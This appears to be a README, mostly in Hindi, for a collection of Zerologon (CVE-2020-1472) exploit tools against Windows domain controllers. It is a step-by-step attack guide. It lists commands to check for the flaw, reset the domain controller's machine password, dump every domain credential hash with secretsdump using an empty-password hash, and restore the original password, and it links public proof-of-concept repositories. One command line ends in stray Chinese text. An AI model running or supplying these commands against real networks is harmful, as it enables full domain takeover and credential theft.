cve-2020-1472_Tool-collection

परिचय लेख

https://www.yuque.com/shamo-vs4ia/vul/ktduf8

पर्यावरण तैयारी

pip3 install -r requirements.txt

कमजोरी का पता लगाना

python3 zerologon_tester.py ad ad_ip

शोषण

python CVE-2020-1472.py AD AD$ adip

secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'god.org/[email protected]'

सभी हैश सफलतापूर्वक निर्यात किए गए

हैश क्वेरी करें

पहले： secretsdump.py god.org/administrator:Admin12345@ad_ip -just-dc-user 'AD$'

बाद में： secretsdump.py god.org/administrator:Admin12345@ad_ip -just-dc-user 'AD$'

पासवर्ड पुनर्स्थापित करें

python3 reinstall_original_pw.py ad_hostname ad_ip哈希

से संग्रहित

https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2020-1472

https://github.com/risksense/zerologon

https://github.com/VoidSec/CVE-2020-1472

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/SecuraBV/CVE-2020-1472